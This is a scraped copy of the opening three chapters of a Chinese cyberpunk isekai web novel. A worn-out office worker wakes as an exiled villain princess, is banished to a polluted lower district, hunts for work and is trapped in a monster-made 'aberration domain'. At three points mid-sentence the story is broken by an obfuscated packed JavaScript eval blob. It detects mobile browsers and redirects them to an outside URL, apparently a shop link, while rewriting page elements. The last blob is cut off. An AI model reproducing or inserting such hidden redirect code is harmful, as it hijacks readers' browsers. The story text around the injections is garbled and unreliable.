《在赛博世界打工》 1. 001 忙碌了一天的姜屿倒在床上,形似昏迷。 耳边有一股悉悉索索的声音忽远忽近,最后更是如擂鼓般在她耳边敲响。 姜屿在梦中勃然大怒,对于每天996的社畜来讲,床上时间是最神圣、不可侵犯的领地。 无论是小偷,还是耗子,抑或是鬼怪,她都会让他们感受到社畜发怒的可怕之处。 她睁开眼。 耳边的声音逐渐变得清晰:“姜屿犯下以上罪行……” 得,这还是在做梦。 但是如此清醒的梦境,她还是第一次梦。 站在高台,身着红色长袍的人背对姜屿,喋喋不休地指责她的跋扈罪行,包括放纵改造人,纵容其无视帝国居民管理条例肆意跨越区域;解锁智脑的分层权限;妄图进入第一区;故意谋害自然人与帝国重要财团继承人。 说到这,他声音一顿,看了看坐在观众席上的两人。 姜屿随之看向左侧的观众席。 观众席上的人面颊红润,衣着得体,维多利亚风的长裙、哥特式高耸的帽戴,肢体碰撞处激起蓝靛色的火花。原来他们都不是真人,而是全息投影。 红袍人紧接着说出姜屿谋害的人的名字——瑟尔通·顾;莱特。 姜屿恍然大悟,才发现自己这梦的由来,是前几天看的一本蒸汽朋克世界观下的虐恋情深小说。这小说中西缝合,东方人名和西方人名混杂着来,看得她晕晕的。 而自己的身份,不出意外是和自己同名同姓的反派公主。反派公主是男主的舔狗,为他哭为他笑,为他哐哐撞大墙,但男主不在乎,他只在乎从底层爬上来的女主。 难怪观众席视线如此锋利,她鸡皮疙瘩都出来了。毕竟小说中姜屿可是最大反派boss。 小说中财团男主的各种撒币行为看得缺钱的姜屿脸都绿了。 要是她是大公司继承人,她指定勤勤恳恳捞钱,终日奋斗在公司一线,为公司荣誉添砖加瓦,谈什么恋爱,她生是公司的狗,死是公司的死狗。 可惜这东西她出生时就没有,这辈子也别想了。 思绪纷飞的同时,姜屿趁着空闲,不断打量建筑与周围的人群,并为圆弧天花板上的鎏金雕花工艺啧啧称奇。 姜屿站在中央,两侧分别是观众席和陪审席。正前方是喋喋不休的红袍人,尽头是代表着权力尽头的审判十三席,十三位虚拟全息投影居高临下地坐在尽头的高台上,正对姜屿。 整个审判庭只有姜屿一个活人真正在场。 姜屿满不在乎的态度成功引起了红袍人恨铁不成钢的叹息,连带着审判席也有些躁动。 十三席中最中间的位置是姜屿的父亲,掌握帝国船帆的舵手,帝国的启明星——帝国皇帝亚瑟三世。 以上全来自于高台上的红袍人口述,他装模做样地合上文件,转而控诉起姜屿在审判中的漫不经心与毫无悔改的态度。神情如同被二流子打了一顿的柔弱书生。 想到这,姜屿笑出声。 该说不说,不愧是因为小说生成的梦境。每一个人都非常好看,连观众席中某个改造人半个机械头颅都散发着科技的美感。 “姜屿,你知罪吗?”最高席的亚瑟三世出声。 姜屿很烦。 现实中因为一份勉强糊口的工资,无脑老板天天捧着保温杯审判她;怎么梦里还搞审判! “知错?”姜屿护环顾了一圈审判庭中的人,衣着体面的观众席窃窃私语不断,前方红袍法官的指责喋喋不休,她像是斗兽场中被人围观下注的野兽。 姜屿冷笑:”我唯一知道的,就是自己做得不够绝!” 小说中的反派公主确实是这么想的。 她是个得不到就毁灭的性子,结局中她在垃圾堆中被活活饿死时,唯一懊悔的事情就是自己棋差一招,没有及时下黑手。况且梦境而已,她无所顾忌咋了! 她的态度明显惹怒了众人,凌迟般的视线刮过她。 姜屿却丝毫不慌,和最高席上的皇帝对视。她思维发散,皇帝怎么保养得这么年轻。夭寿的,他都有个十八岁的公主了,脸上却一丝皱纹都没有。 皇帝眼神中忽然闪过一丝幽光,而后一锤定音地开口:“根据帝国法律第六十二条、第九百七十八条、第三千一百二十条,姜屿应被判处死刑二十三年。但念在姜屿身份特殊,对帝国贡献重大,免除姜屿死刑,剥夺其公主身份,判处姜屿终生流放下层区域,三天后执行。” 没待她反应,审判席的投票开始,其余十二席都纷纷同意了皇帝的决定。皇帝表示审判到此为止。审判席在红袍人与观众席的恭送下离场。 流程在姜屿没反应过来时瞬间走完。 高耸的大门被打开,风和阳光一道涌了进来,细密的打在姜屿的后背、脖颈,不像是梦境,像是—— 现实。 姜屿:…… 她狠狠一巴掌打在右脸颊,清脆的声音令没及时关闭投影的观众一惊。没管他们看精神病的眼神,姜屿品了品自己脸颊的肿痛,坚硬的黑色美甲在嘴角划出一道细长的伤痕。 公主走哥特风的。 灿烂的阳光大片铺陈,久不见光的眼睛被晃得发酸。姜屿抬起手臂,机械镣铐滴滴发着红光。 她回头望去,和平鸽掠过远方巨大的亚瑟三世雕像,圆弧似的光圈在雕像身后若隐若现。 “那是彩虹吗?”姜屿喃喃自语。 两鬓斑白的老人步伐矫健,“殿下,那是高空轨道列车。” * 来接姜屿的是带大姜屿的人,主管姜屿宫殿——万灵宫的一切事物的宫务大臣。其人据说是公主生母,也就是帝国皇后林素问的最亲近之人。 三天的公主限时体验卡没来得及让姜屿享受纸醉金迷的生活。 因为该死的穿越,竟然没有给她原主的记忆!如何在大脑空空的情况下,在一众照顾了公主十多年的老人面前,维持公主的性格和人设。 她试探着向公主的大管家抛出:经历审判后我失忆了的假设。 大管家:“……您知道,假装失忆并不能帮您逃避惩罚。” 姜屿现在知道了。 如果知道不是梦,她一定向自己的皇帝父亲滑跪认错,请求他原谅自己这个不成器的女儿,给自己一个改过自新做米虫的机会。 但机不可失,时不再来,心痛还没来得及享受就已经远去的公主生活。 姜屿木着脸:“我坚持!” 老管家一噎,差点招架不住自家公主的新招数。宫殿内折腾了好几天,从医疗舱到人工AI诊疗都得出一个结论:公主脑域完好。 在姜屿的坚持下,有人提议:“不然给公主换个脑子吧。” 姜屿知道这个。 生命基因研究会最新研究成果:凝液软性新型仿生材料。可替代人脑部分功能区域,实验成功率100%,不存在排异反应,现招募志愿者。 姜屿摸了摸自己温热的脑袋,打断提议人的跃跃欲试,“不行,我不接受。” 确定了,公主是在闹幺蛾子。 被叫来的医疗团队纷纷散去,留下管家安抚比格犬似的公主殿下。管家熟练地安慰姜屿,脸上带着“知道你作妖,但我宠着你”的表情。 公主到底是个什么性子,姜屿疑惑但松了口气。 小说中大部分都是男主的一掷千金和男女主的虐恋情深,赛博朋克只是餐边的点缀。 谁能想到,她就这样赤条条地来了。以公主糟糕的性格,装失忆来躲避惩罚太正常了。感谢公主! 姜屿三天中都扑在了公主绑定的智脑上,详细了解自己身处的新世界—— 金字塔的世界共分为四层区域,财富、资源、权势越往上越集中,她目前在第二层,而三天后她将前往最低层第四区。 任何意义上的最低层,包括地理位置。帝国竟然如同被堆起来的积木,第四层在海拔高度上最低,姜屿脚下踩着的,可以称为第三区的天空。 姜屿确认好几遍,才确认智脑中显示的是新闻,而不是神话。 “第一区是神邸的居所,众神的乐园。” 不是,这对吗?果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153909|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然技术越发达,信仰越虔诚是吧。 最重要的是,金手指果然是穿越的附加物,在姜屿赶走侍女求神拜佛下,金手指姗姗来迟。 一个玩家系统。 系统很简陋,分为属性、任务、能力。属性只有五个维度:意志(10/10)、灵性(2/10)、以太(0/10)、载体(10/10)、共鸣(0/10)。 除了意志之外的其他元素,姜屿都没看懂。狂轰乱炸客服一番之后,人机客服的回答除了“请玩家自行探索”,“收到,我们会及时反馈这个问题的”之外,只有各种花式道歉。 提供了除解决问题以外所有的解决方案。 任务只有一条:探索新世界(0/100)。姜屿视线在新世界上转了又转,好歹她有个和她一样来到新世界的系统,也不算孤独。 能力就更简单了:无。 姜屿不可置信地看了又看,难道熟练掌握PPT、Word、Excel不算技能吗?可恶啊,该死的系统歧视打工人。 姜屿反手找客服投诉歧视问题,毫不意外没有反应。 别家穿越者的系统可以加点,代练,肝经验,姜屿在自己系统上找了又找,硬是没找到地方,只得悲痛确定系统是个废物。 三天匆匆而过。姜屿对新世界的了解止步于技术大爆炸,资源贼丰富。 第四区应该不差的……吧。 高空轨道列车行驶平稳,车厢全封式。百无聊赖的姜屿不期然和对面覆面、贴身明黄色装甲的警卫对上眼。 “你们叫什么?来自哪个番号?” “义眼用起来怎么样?”隔着护目镜,姜屿能看到义眼运行的蓝色光芒。 “……” 没有人回答。 身旁的管家及时打断了她的骚扰行为:“殿下,警卫不允许同您说话。” 姜屿想起来了,她身上还背着纵容、勾结改造人的罪行呢。 管家看姜屿依旧在进行失忆游戏,体贴地为她解释起来。 押送姜屿的警卫来自帝王私人军团——蜂群,他们被称为工蜂。工蜂都通过基因科技最新技术进行改造,战力爆表,并且拥有统一指挥AI“蜂后”,在行动中可以实现思维共享,统一行动,在执行任务过程中不拥有自由意志,不会和任务目标,特指姜屿,对话。 姜屿理解了一会,才懂管家说得不拥有意志的概念,工蜂的身体不全部归属于自己,在必要情况下身体会被接管。 “他们没有掌握自己身体的自由?”姜屿不理解,这还是人吗? 管家不假思索地开口:“只在必要情况下。” 姜屿追问:“什么是必要情况?” “取决于陛下的裁决。” 姜屿不知道为什么,忽然没了说话的冲动,她靠在车舱上。在她沉默后,车厢中广告的声音愈发嘈杂。 “生命基金研究会为您提供从基因图谱优化到器官增强的全方位服务,解锁您的美好人生……” “现实乏味,未来迷茫?视界无限,为您量身定制第二人生,最新款全浸入式脑际娱乐——伊甸园重磅来袭……” 气氛越发沉闷,轨道列车很快来到了第四区的“花园城”,姜屿的最终流放地。 一个工蜂走上前来,低沉且刻板的男音透过装甲的扬声器,夹杂着不断闪烁的电流:“现在是灰雾历1379年2月5日13:10分,我正式宣布,你已被剥夺公主身份,成为五等社会公民,流放最终地为第四区花园城,不再拥有任何特权、不允许使用”公主”称号,犯人姜屿,你是否已知悉上述内容?” “知悉。” “咔”的一声,舱门缓缓打开。 管家和姜屿一前一后被工蜂们亲手送到了花园城的执政官手中。她冷不丁地出声:“这次押送我的任务,工蜂们有自己的意志吗?” 管家转头,视线掠过无声站立在旁的工蜂,“没有,小姐。” 姜屿点点头,不再多说。 队伍末端的工蜂刚刚看了她一眼,在只有姜屿注意到的情况下。 2. 002 花园城—— 姜屿的最终流放地直至到达一刻才羞答答地露面。 姜屿对第四区的判断全错。 刚出舱门,厚重的空气争先恐后涌来,像是在沙城暴中呼吸,空气辣的呛人,她止不住地咳嗽。 正午时分,花园城的天空却是蒙蒙亮,大片大片的红褐雾在城市上方笼罩,能见度极低。 执政官拿出带有过滤芯的防毒面具,贴心解释道,“上区域的人来到第四区难免会不适应。” 姜屿赶忙带上。 得益于技术的发展,如今的防毒面具设计得格外好看,戴在脸上像是什么时尚单品。能正常呼吸后,姜屿才有时间疑惑,“你不需要戴吗?” 执政官笑起来:“我们已经适应了,一般都会换个机械肺。” 执政官带来的警卫一丝不苟,将说话的三人围在中间,堵住了姜屿一切逃跑的可能性。工蜂站在原地,目送他们远去。 “这里为什么叫花园城?”姜屿问得委婉,她其实更想说这里和花园城这个名字哪里都不符合吧。 执政官听出来姜屿的言下之意,好声好气地解释道:“因为城里的公民希望城市变得更好。没有真花,我们就用自己的方法把这里建设成为花园城。” 说罢,执政官从自己身后,拿出两朵机泛着铁光的玫瑰。玫瑰用机械零件拼接组合在一起,形状样式各不相同的零件紧密地嵌合,看得出来做得很用心。又补充说道,“送给花园城两位新居民的礼物。” 姜屿接过,将一朵玫瑰送给了身旁沉默的管家,想从管家手里接过二人的行李,被管家不动声色的拒绝。两人只带了一个小小的手提箱行李,据说还是陛下特批。 姜屿问出了一个尖锐的问题:“为什么会没有真花?” 执政官诧异地看了姜屿一眼。他是花园城中唯一知道姜屿身份的人,也听过这位公主各种放肆、跋扈地谣言,但他没想到公主这么敏锐,“为了帝国的发展,技术的发展总是会影响环境。” 警卫不说话,管家不说话。只有姜屿不停地向执政官询问花园城的情况。据执政官所说,花园城未来可期,居民生活水平正在稳步提升…… 姜屿一点没信,和执政官聊日常生活,执政官和她讲未来可期;和执政官聊第四区,执政官和她讲帝国发展。鸡同鸭讲,但姜屿得到的消息不容乐观。 据执政官所说,他们要去的地方是为姜屿准备的住房,政务所已经为姜屿预付了半年期的房租,半年后房租将由姜屿自己承担。其他的,都要靠姜屿二人自己的努力。 姜屿是流放来的,带不了公主的任何积蓄;身旁还有个毅然放弃第二区身份,一定要跟着她来、放心不下她的管家。看着管家几乎花白的头发,姜屿都说不出你和我一起出去打工的话。 生存问题刻不容缓,但就业形势十分严峻。姜屿前世读的是商科,毕业后从事的工作是文员、美工、人事、视频脚本策划。这是一份工! 她掌握的技能,现阶段的AI完全吊打她。 姜屿摊在车座上不太想说话,前世她辛辛苦苦打工,没想到作为穿越者来到了新世界她竟然还要打工养活自己。不如不穿。 穿越者不应该会有更宏大的任务吗?比如拯救世界、打败魔王之类的,姜屿心中暗诽。 果真是是政务所提供的基础住房。 两个卧室内各有一个铁架子床,床头的铁架发褐发黄,人在上面乱动,铁架子会晃悠悠、咯吱咯吱地发出响声。除此之外,只有一个简陋的卫生间,配备一个洗脸池、一个马桶、一个淋浴。 没想到技术大爆炸后,还会有这么古老的家具,姜屿用手按下翘起的铁皮,放开手后,铁皮又倔强地扬起脖子。 “厨房呢?”姜屿站在空荡荡的屋子里,不可置信。 “第四区不产出农作物,所有农作物都是从其他区域购进,价格昂贵,一般人不会配置厨房。”执政官好心解释道。 “那吃什么?” 执政官拿出个试管形状的药剂,里头是透明无色的液体,“美丽农业集团的营养液,口味稳定,两管足以维持一人一天正常行动。” 作为一个每天用美食犒劳自己的前社畜,姜屿只觉得荒唐。厨房只是为了维持正常活动、摄取营养的地方吗? 当然不是。 厨房是疲惫归人的港湾,是家人放松休闲的阵地。累极了的姜屿会在凌晨时分,为自己煮上一碗热气腾腾的泡面。 她人都麻了,木着脸看向管家,“我记得第二区有。” 第二区岂止是有,公主宫殿的厨房大得吓人,各式各样的农作物种类繁多,厨师手艺更是巧夺天工。 简直是天堂! 三天时间,宫殿厨房培养出了一个对自己忠心耿耿的兵。 管家揉了揉太阳穴,“您也说了,那是第二区。” 执政官走了好一会,姜屿才说服自己接受事实。 事已至此,先吃饭吧。 执政官好心留下一箱营养液,三十管营养液足够姜屿两人渡过前两个星期,她可以趁着这两周去找工作。 太贴心了,执政官! 姜屿打开一管营养液,试探性地尝了尝,确定能入口后一口喝完。五十毫升的液体一下就没,姜屿咂摸了下味道,像是葡萄糖。 和试探摸索的姜屿不同,管家熟门熟路地收拾好行李,喝完一管营养液。 姜屿看着管家有些花白的头发,实在不忍:“要不您回去吧,您没有犯错,可以说只是为了送我来第四区。” 第二区的生活可比第四区好多了。 管家;"您不需要对我用尊称。" 姜屿没想到管家注意点在这里,“您才是不用对我用尊称,我已经不是公主了。” 两人协商许久,管家让姜屿叫她林姨,而管家称呼姜屿小姐。姜屿苦口婆心地劝了很久,希望管家离开。 管家都拒绝了。姜屿只好作罢。 “林姨好像很熟悉第四区?”姜屿没忘记林姨对陌生环境的熟稔。 林姨点点头,像是想起了很久之前的回忆,“我是从第四区出去的。” 姜屿一惊,手中的营养液空管没抓紧落在了地上。 刚刚执政官送她到住房时,为她取下机械镣铐。 姜屿曾笑着试探,“您就不怕我跑了?” 执政官闻言,意味深长地看了她一眼:“第四区通往上层区域的列车被严格管控,每次进出都需要严格的审批,希望您不要乱来。” 从第四区出去很难,非常难。 据执政官所说,最近十年来,能正儿八经离开第四区的人屈指可数,偷渡就更难了,身份识别AI遍布上层区域,摄像头几乎遍地都是,更别说帝国鼓励公民举报偷渡行为,举报成功带来的巨额奖励没有人能拒绝。 姜屿准备洗耳恭听林姨波澜壮阔的一生,林姨却不想多说,“等有时间,我再慢慢和你说。" 她的语气不容拒绝,并递给姜屿一把老古董左轮,“自保用,你可以出去看看。” 老古董左轮被保养地很好,枪身泛光,握在手中有一种硬陶瓷的手感。 姜屿手足无措,学校没教过这个啊。但当拿起左轮,但身体却下意识地动起来,换弹、上膛,她做好了开枪前的一切准备。 现在,她可以开枪了。 * 智障系统终于有了变化,任务一栏处探索新世界的任务多了个分支,探索花园城。 姜屿拿出智脑,智脑在收集信息方面真的很厉害。第二区已经有了更先进的光脑和生物光脑,可以直接嵌入人体,实现光脑的全流程覆盖式服务。 花园城是个四四方方的小城市,人口将近十五万人。 招聘信息很多,大部分都是管道清洁工、修理工等重体力劳动的工作,都需要身份芯片以及与信用记录直接挂钩的社会等级。 身份芯片姜屿有,但社会等级……姜屿的犯罪记录致使社会等级跌到最低。 姜屿没想到,社会等级这种老封建的东西,竟然能在赛博朋克世界出现,怎么不算是一种姜屿和前世的久别重逢呢。 社会等级共分为5级,根据人的信用记录、社会积分、天赋潜能等多个维度综合得出,姜屿是最低的5级,意味着这人是社会的耗材和垃圾。 打工人的身份姜屿都扛不起了。 现实容不得姜屿逃避,她将左轮放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153910|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰后,戴上防毒面罩,准备开启任务。 说得不体面点,即使她装备更新、身份更新,都不妨碍打工人的标签鬼一样地追着她,她得出去找个工作。 太苦了,要是她能再次看见自己的皇帝爸爸,她一定忏悔得真心实意。 花园城的天只有两种变化,一种是蒙蒙亮,一种是漆黑。因为花园城处于帝国的底部,如果将帝国看做是一个堡垒,低级的区域向下,高级的区域向上。 花园城在第四区,脚下是人类存活的根本——土地。唯一能称得上景观的东西,就是在锈雾稍稍褪去后时,那像是撑开天地的机械管道与齿轮。 花园城没有太阳,只有花园城中心的一轮巨大聚光灯作为人造太阳,每天定时定点的模拟太阳光,短暂地照亮黑暗中栖息的花园城。 但姜屿没心情看景观。 政务所在中轴线偏北,姜屿的房子在花园城西边,距离花园城中心有一段距离,姜屿溜溜达达,隔着防毒面具打量花园城。 智脑提示:花园城南方不建议观赏。姜屿就朝着南城去。 南城比西城嘈杂许多,街道两边各式各样的招牌发出几近刺眼的光,两个荧光绿的大字跃入眼中——黑店。 黑店的货架上空荡荡的,柜台上两条大铁腿交叠,呼噜拉得长长的。 姜屿敲了敲柜台。打呼的气一顿,动了动睡姿后呼噜又变得悠长。 “老板?老板!”姜屿放大声音,熟睡的人猝然惊醒,摔下椅子。 柜台后的人隔着塑料镜框的眼睛打量姜屿,眼睛中精光分明,喜意外露。 “客人有什么事情?”说话间,对方视线不停。 姜屿:“我想找个工作。” 黑店老板一愣,仿佛被姜屿朴素的愿望恫吓,视线冻在姜屿脸上,神色复杂。 姜屿张开五指,在老板眼前晃了晃,“老板,我想找个不要求社会等级的工作。” 黑店老板心思流转,在姜屿神经棉材质的衣服上划过。神经棉是一种生物界面材料,光线会在上面呈波浪状缓慢移动。 有价无市的好东西。 大肥羊!黑店老板心中激动,偶尔会有上层区域的人处于无聊,消遣着来第四区找乐子,满足一下自己冒出的社会责任感。 应该是个来第四区游玩的大小姐,想去刺激的地方。 黑店老板心领神会地屈躬卑膝起来,笑容谄媚地搓了搓手,将自己胸膛拍得哐哐响。 “叫我李三就行。您想找工作?那还不简单……” 模样神似太后身旁想上位的大太监。 李三捶胸口用力太大,话没说完,止不住地咳嗽。他惨白着脸为自己找补,“小事,小事,不用担心我。” 姜屿满怀深意的视线在李三身上流转。没想到长得人模狗样的,竟然叫这个名字。 李三很会读空气,不好意思地挠了挠头,“我哥叫李二,我随我哥起的名字。” 姜屿会意鼓掌:“好名字,一看就知道是一对好兄弟。” 两人貌合神离地一前一后离开。姜屿怀疑这人的性格真能做老板?几个菜啊。 李三招来辆车,上了车和姜屿讲起花园城的历史,神话和杜撰齐飞,最重要的是,他拍马屁。 马屁拍得姜屿飘飘欲仙,差点就把自己底细全盘拖出了,才怪。因为这该死的扑街仔,不仅想让姜屿付车钱,还暗示自己想要姜屿身上的衣服。 姜屿早就明白,李三误解了自己的身份。但将错就错,或许李三真能贴心为大小姐服务,为大小姐找一份工作呢。 但, 任何想从姜屿荷包里掏钱的人,都会是她的一生之敌! 李三设定的目的地到了,车费不结不给下车。姜屿坐在车上稳如老狗,含笑和李三对视,完全没有看懂李三的各种暗示。 两人在车上沉默对峙了一刻钟。李三肉疼地拿出自己的智脑,车费850积分。 李三的脸更加惨白,像是刚从墓地里诈尸的僵尸,阴恻恻地一笑。 “您还要继续逛吗?” 姜屿咧嘴一笑:“逛!怎么不逛!” 看她不把李三的家底都给骗过来,绝对不能空手而归! 3. 003 姜屿被李三带着逛了大半个花园城南城,用双腿,美名其曰沉浸式找工作。两人微笑着道完别后,不约而同地沉下了脸。 李三:呸!骗子。 姜屿:呸!穷逼。 姜屿规划了下路程,发现从两人分别的位置回家,走路需要两个半小时。稍一思量后,愉快决定坐公交车回家,用李三好心给她的积分。 大家都不是好人,被骗只怪李三太过贪心,竟然想要自己身上穿的衣服。给了他,自己穿什么!人总是要体面的。 但人穷,姜屿数了数下智脑上划过来的积分。区区八百五。李三还是太不努力了。 人造太阳准时六点关闭。 漆黑夜空中到处是各式各样的彩灯,微小齿轮咔咔地运作,远处的灯光笼罩在雾中看不清晰,像是晕开了的浓墨重彩。 破破烂烂的公交车准时到站。 公交车一看就运行多年,表皮斑斓,深一块浅一块的,前面是两盏硕大的彩灯,像是野兽硕大的眼睛。 姜屿踏上公交车,智脑冰冷提示余额减少10积分。车上人很多,随着公交车惯性摆来摆去,像是罐头里被腌制许久的沙丁鱼。 公交车前排座位坐着个粉白头发的女孩,皮肤死白,妆容哥特,看到姜屿打量的视线翻了个白眼:“看什么,没见过美女啊。” 姜屿忙不迭从女孩身上的红黄配色的衣服上移开视线。 后车厢有个怪人,全身都隐藏在空荡荡的黑色斗篷中,身形佝偻,像是具骷髅。 最后的连排座位空空的,只躺着个人,对方腰□□面空荡荡的,上半身半倚在座位靠背,半张脸隐在阴影中,神情空白。 不对!姜屿走近,看到腰胯处裸露出来的机械零件,这是个机器人。 机器人注意到姜屿的久久凝视后转过头来,朝她一笑。太生动了!姜屿头皮发麻,机器人的脸一半是仿生皮肤,一半是褪去仿生皮肤后的老化零件。 生物识别虹膜正在运行,没有掩饰的科技零件一顿一顿散发红光。 最重要的是机器人的胸口,浓重的黑雾在它胸口徘徊,有节奏地张开、伸缩,像是在呼吸。 公交车启动,前方传来司机不耐烦的声音:“坐稳扶好,上路了。” 机器人残躯没有支撑,重重地往后一摔。但机器人没有在意,它用自己类人的瞳孔仔细地注视姜屿。 车厢内有人扫到机器人,麻木的脸一僵,吊着声音:“怎么还不把这垃圾扔了?!老王。” 名为老王的司机满脸横肉,闻言骂骂咧咧地翻了个白眼:“那不是老子花钱买的啊!你把钱给老子,我就扔了。 ” “看见垃圾就烦,还占人座位。”乘客悻悻地唾了口唾沫,小声咧咧。 “你坐呗,旁边都是空位。”有人在旁边鼓动。 抱怨的人极轻微的一缩,而后神气地扬起脸,“不想和这种机器人垃圾坐在一起。” 姜屿看了看车内晃动的人群,确定无人在意后嘶了口气。无论是旁人认为这很正常,还是只有她一个人能看到,都很不正常。 姜屿无声地向前挤了挤,远离诡异的机器人,“我要下车!” 她无心探究,只想安稳回到家,喝一管林姨加热好的营养液。 广播滋滋的,不停播报着各式各样的广告,和小时的重复式语句交织在一起。 司机狠狠一转手中的方向盘,车厢随着惯性往左移动,“别喊了!喊什么喊!没到站下什么下!” 姜屿随着身旁骂骂咧咧的人站稳。 很快,公交车到站。 姜屿拍了拍自己轰轰跳的太阳穴,松了口气。无论如何,她安全下车了。 姜屿下车时不自觉和连排座的机器人对视,机器人有礼貌地朝她点了点头,像是在告别。 “——!!!” 音爆的声音轰鸣,像是有一辆大卡车重重撞在了公交车上,姜屿头痛欲裂,带着惯性的身体向前重重一踉跄。她模糊看见,机器人胸口处的黑雾骤然涨大,像是一戳即爆的气球。 耳边骤然安静下来,好似空气的流动都不存在。姜屿再次醒来时,公交车像是被怪兽撕成两半,地上满是血肉的碎屑。 她检查了下自己的身体,还好,自己只是摔了个大包。她拿出放在后腰的左轮,确保左轮可以正常使用。 林姨送给她的左轮经过改造,子弹是高压空气弹,在枪身材料的支持下,可以瞬发五十发子弹。 再多,枪身材料就受不了了。 这地方明显不对劲。如今,唯有这东西能带给她些微的安全感。她双手握枪,确认自己处于正常的重力状态,可以正常行走后,缓慢地向前试探。 除了姜屿的动作,一切都被静止在原地。 车厢外的场景像是一部默片,唯一醒目的只有招牌,上面的荧光无声跳动。姜屿勉强认出了其上的模糊字迹,".....专卖店"前面的屏幕似乎已经坏了,只能看见跳跃的白点。 一切都不似真实,橱窗边缘处微微虚化泛白,像是被水洗过的褪色的画。 门没有上锁,姜屿挥了挥枪口,半掩着的门微微晃动。 "有人吗?" 姜屿耳朵动了动,听到了店内看不见的深处传来的悉悉索索的动静,心中崩溃。 按照前世恐怖片定律,落单的她必然会成为恐怖电影中贡献血腥场面的NPC。 姜屿回头,静止的车厢与时间,她已经没有别的退路了。最重要的是,姜屿的肚子忽然咕噜噜响,她能感觉到饿。 这代表,被困在这里她会死。 姜屿壮了壮胆,硬着头皮推开专卖店的门。展示台,橱窗前都是完好的机器人,肢体舒展、笑容完美。 店里很安静,一点点动静都清晰可闻。姜屿头皮一炸,她听到暗处有东西在地上被推动。打开仓库门,一颗粉白色大脑袋跃入眼帘,是公交车上的乘客,而地面上瘫着的一坨阴影,似乎和司机有点像。 姜屿一来,店里的人都看向她。“你还活着?”粉白少女说得大大咧咧。 姜屿嘴角抽抽,“抱歉?”在少女明显看智障的眼神下面无表情地接着说道,“因为没有满足你的期待。” 粉白少女扑哧一笑,稍稍解除了戒备。姜屿明白这是她可以进去的标志。 “其余人呢?”姜屿环顾四周,算上她这里只有四个活人,粉白少女,奇怪的黑袍人,司机,还有她自己。但行驶中的公交车有满满一车厢人。 “……死了吧。”粉白少女面咬了咬后槽牙。一切来得太快,她只救下了两个人。其中一个还是死皮赖脸跟着来的,想到司机老王刚刚的举动,她不免面露厌恶。 老王瞳孔放大,眼神呆滞。死亡来的一瞬间,他只记得自己的本能,他只记得自己要活着。 她走到一旁,踹了踹地上半死不活,一脸哭相的司机,“你还记得什么?” 司机四肢瘫软,但为了求生,硬撑着从地上爬起来,抱着粉白少女的大腿苦苦哀求,“大小姐,我是真不知道了。那只是我买来的好几手机器人,谁能知道它型号太老导致没办法更换零件,我只是贪便宜,罪不至死啊!” 旁边的黑袍人看到姜屿不解的神色,张了张嘴,轻微的气声被粉白少女的声音掩盖。 “店中所有的机器人都是同一型号,是七年前宙斯科技发行的陪护Ⅲ型机器人,和车上后座的机器人是同一型号。我上车时注意到后座残疾机器人胸口处有宙斯科技的标志,这个畸变域很大概率和那机器人有关系。” 姜屿听到黑袍男的解释恍然大悟,但很快又有新的疑惑,遇到一个能为她答疑解惑的人,她不解地问道,“什么是畸变域?” 这个世界有怪物。怪物等级由高到低分别为:S、A、B、C、D、E,怪物会扭曲空间,形成一片脱离时间的区域,区域中有自己运行的规则和逻辑。 官方将怪物定义为畸变源,因怪物而产生的扭曲区域被称为畸变域。 而他们现在正在一片E级畸变源的畸变区域中。粉白少女有点怀疑这片畸变域的能量测试结果,E级畸变源可以将一车的人瞬间杀死吗? 姜屿不是很乐观。 这不是科技大爆炸的世界吗?怎么还有打怪的路线啊。谈话间几人交换了姓名,粉白头发少女名为玲,一个普普通通的路人,她自己宣称;黑袍男名为顾白,是个刚结束超十二小时的一天工作下班,坐车回家的管道维修工。 姜屿与他很有同病相怜之感。 至于司机,玲不耻于他面对危险时用别人的生命保护自己的行为。如果不是囿于身份,她肯定会一枪给司机个痛快。 在顾白的解释下,姜屿才知道玲为什么对司机态度很差。 陪伴型Ⅲ机器人发行时宣传语是:“您最独特的家人,您最贴心的朋友。” 机器人从内到外都是仿真人设计,皮肤、触觉、嗅觉全都加载了相应感官零件,如果胸口上的生产厂家被遮住,很难看出是机器人。 随着机器人更新版本的出现,陪伴Ⅲ型机器人逐渐被淘汰,也被发掘出了新的用途——成人机器人。 “成人机器人?”姜屿透过顾白细微的重音中听出些不对劲。 顾白被包裹得紧紧的,没有任何皮肤裸露在外,“对,成人机器人。” 姜屿一下子明白了。 司机买下机器人就是这个用途,但发现机器人内置的感官零件已经损坏且因为型号太老,没有相应零件,司机不舍得自己辛辛苦苦花的钱,但又气愤于机器人的不能用,只能将机器人搁置。 司机瘫在地上,抱头自闭,感觉到姜屿的视线后恶狠狠地瞪了她一眼,“你看我干什么!好多人都是这样做的,怪只怪我自己倒霉。” 没心情和司机吵架,姜屿转头问玲,“现在我们应该怎么办?” 她看出玲对畸变很熟悉,这时候还是应该听老人的话的。但光坐着干等也不是事啊,姜屿真的饿了。 “等!”玲在说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 